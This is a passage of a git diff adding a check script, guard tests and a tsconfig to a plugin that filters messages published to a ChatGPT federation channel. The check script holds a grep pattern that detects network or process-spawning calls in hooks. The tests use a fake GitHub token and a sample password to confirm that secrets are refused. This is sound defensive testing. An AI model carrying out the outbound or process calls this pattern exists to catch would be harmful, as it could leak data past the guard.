"$ROOT/hooks/hooks.json" || mod_ok=0 +for f in options screen guard command status register; do + [[ -f "$ROOT/hooks/$f.ts" ]] || mod_ok=0 + [[ $(wc -l < "$ROOT/hooks/$f.ts" 2>/dev/null || echo 9999) -le 500 ]] || mod_ok=0 +done +[[ $mod_ok -eq 1 ]] && ok || bad "mod hooks incomplete or too long" + +step "M2. mod: guard defaults on and the extra options default safe (userConfig)" +node -e ' +const c = require(process.argv[1]).userConfig || {} +const safe = c.guard && c.guard.default === "on" && (c.maxPayloadBytes && c.maxPayloadBytes.default === 8192) +process.exit(safe ? 0 : 1) +' "$ROOT/.claude-plugin/plugin.json" && ok || bad "userConfig defaults wrong" + +step "M3. mod: hooks never touch the network or spawn a process" +if grep -nE '\$\.(http|process)\.|child_process|fetch\(' "$ROOT"/hooks/*.ts >/dev/null; then bad "network or process call in hooks"; else ok; fi + +printf "\n%s passed, %s failed\n" "$PASS" "$FAIL" +[[ $FAIL -eq 0 ]] || exit 1 diff --git a/plugins/ruflo-chatgpt-federation/tests/register.test.ts b/plugins/ruflo-chatgpt-federation/tests/register.test.ts new file mode 100644 index 0000000000..275c62c644 --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/tests/register.test.ts @@ -0,0 +1,101 @@ +import type { On } from 'claude-code' +import { describe, expect, test, tier } from 'claude-code/testing' + +tier('user') + +const ROOT = '/work' +const START = { surface: 'terminal', isInteractive: true, cwd: ROOT } as const +const slash = (args: string) => ({ command: 'chatgpt-mod', args, origin: { kind: 'composer' }, presentation: { isFullscreen: false, columns: 100 } }) as const +const STATUS = `${ROOT}/.claude-flow/chatgpt-mod/status.json` + +/** The world beneath the mod: a project root, a file map, a registered-command list, and a tool that answers `stored`. */ +function world(on: On) { + const files = new Map() + const commands: string[] = [] + on('session.start', ($, e) => ({ cwd: e.cwd })) + on('session.root', () => ({ value: ROOT })) + on('command.register', ($, e) => (commands.push(e.name), { value: { command: e.name } })) + on('fs.write', ($, e) => (files.set(e.path, e.text), { value: undefined })) + on('clock.now', () => ({ value: 1_700_000_000_000 })) + on('tool.call', () => ({ result: 'stored' })) + return { files, commands } +} + +/** A call the guard refused comes back as an error; this returns its text, or the tool result when it went through. */ +const attempt = (p: Promise) => p.then(r => JSON.stringify(r), (e: unknown) => String(e)) +const status = (files: Map) => JSON.parse(files.get(STATUS) ?? '{}') +const GH = `ghp_${'a1B2'.repeat(10)}` +const PUBLISH = 'mcp__ruflo-chatgpt-federation__channel_publish' +const publish = (extra: object) => ({ tool: PUBLISH, channel: 'pub:announce', msgType: 'Status', payload: { note: 'deployed' }, ...extra }) as never + +describe('guard', () => { + test('a public clean message passes', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({})))).toContain('stored') + }) + + test('private or malformed channels are refused before they leave the machine', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({ channel: 'prv:secret-room' })))).toContain('public') + expect(await attempt($.tool.call(publish({ channel: 'pub:Bad Name' })))).toContain('public') + }) + + test('a secret or credential field in the payload is refused and never echoed', async ($, on) => { + const w = world(on) + await $.session.start(START) + const leak = await attempt($.tool.call(publish({ payload: { note: `token ${GH}` } }))) + expect(leak).toContain('secret') + expect(leak).not.toContain('ghp_') + expect(await attempt($.tool.call(publish({ payload: { password: 'hunter2hunter2' } })))).toContain('credential field') + expect(status(w.files).byRule).toEqual({ 'secret in message': 2 }) + }) + + test('an oversize payload is refused; the cap is an option', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({ payload: { blob: 'x'.repeat(9000) } })))).toContain('8192-byte cap') + }) + + test('maxPayloadBytes raises the cap', { options: { maxPayloadBytes: 20000 } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({ payload: { blob: 'x'.repeat(9000) } })))).toContain('stored') + }) + + test('only the connector\'s own channel_publish is guarded (not ruflo-core x_federation_*, not channel_sync)', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: 'mcp__plugin_ruflo-core_ruflo__x_federation_channel_publish', channel: 'prv:x', payload: { n: GH } } as never))).toContain('stored') + expect(await attempt($.tool.call({ tool: 'mcp__ruflo-chatgpt-federation__channel_sync', channel: 'prv:x' } as never))).toContain('stored') + }) + + test('guard: off lets it through', { options: { guard: 'off' } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({ channel: 'prv:x' })))).toContain('stored') + }) +}) + +describe('status file and command', () => { + test('status.json is written at session start and after a block', async ($, on) => { + const w = world(on) + await $.session.start(START) + expect(status(w.files)).toMatchObject({ version: 1, guard: true, maxPayloadBytes: 8192, blocked: 0 }) + await attempt($.tool.call(publish({ channel: 'prv:x' }))) + expect(status(w.files)).toMatchObject({ blocked: 1, lastRule: 'channel' }) + expect(w.commands).toEqual(['chatgpt-mod']) + }) + + test('/chatgpt-mod answers status, scan and channel locally', async ($, on) => { + world(on) + await $.session.start(START) + expect((await $.command.run(slash('status'))).text).toContain('guard on · payload cap 8192 bytes') + expect((await $.command.run(slash(`scan ${GH}`))).text).toContain('github token') + expect((await $.command.run(slash('scan plain words'))).text).toContain('Nothing found') + expect((await $.command.run(slash('channel pub:announce'))).text).toContain('allowed') + expect((await $.command.run(slash('channel prv:x'))).text).toContain('would refuse') + expect((await $.command.run(slash(''))).text).toContain('/chatgpt-mod status') + }) +}) diff --git a/plugins/ruflo-chatgpt-federation/tsconfig.json b/plugins/ruflo-chatgpt-federation/tsconfig.json new file mode 100644 index 0000000000..e4ba54993e --- /dev/null +++ b/plugins/ruflo-chatgpt-federation/tsconfig.json @@ -0,0 +1,19 @@ +{ + "//": "Self-contained on purpose: bundlers (vite/esbuild in the root CI vitest) load this file for every module they transform, so it must not extend a file that only exists after Claude Code (>= 2.1.287) has loaded the plugin. Claude Code writes its declarations to .claude-plugin/types/ (gitignored) on load or validate; tsc -p . then reads them through typeRoots.", + "compilerOptions": { + "target": "es2023", + "lib": ["es2023"], + "module": "esnext", + "moduleResolution": "bundler", + "strict": true, + "noUncheckedIndexedAccess": true, + "noEmit": true, + "skipLibCheck": true, + "jsx": "react", + "jsxFactory": "h", + "jsxFragmentFactory": "Fragment", + "typeRoots": ["./.claude-plugin/types"], + "types": ["claude-code", "claude-code-tools", "claude-code-mcp"] + }, + "include": ["hooks", "tests"] +}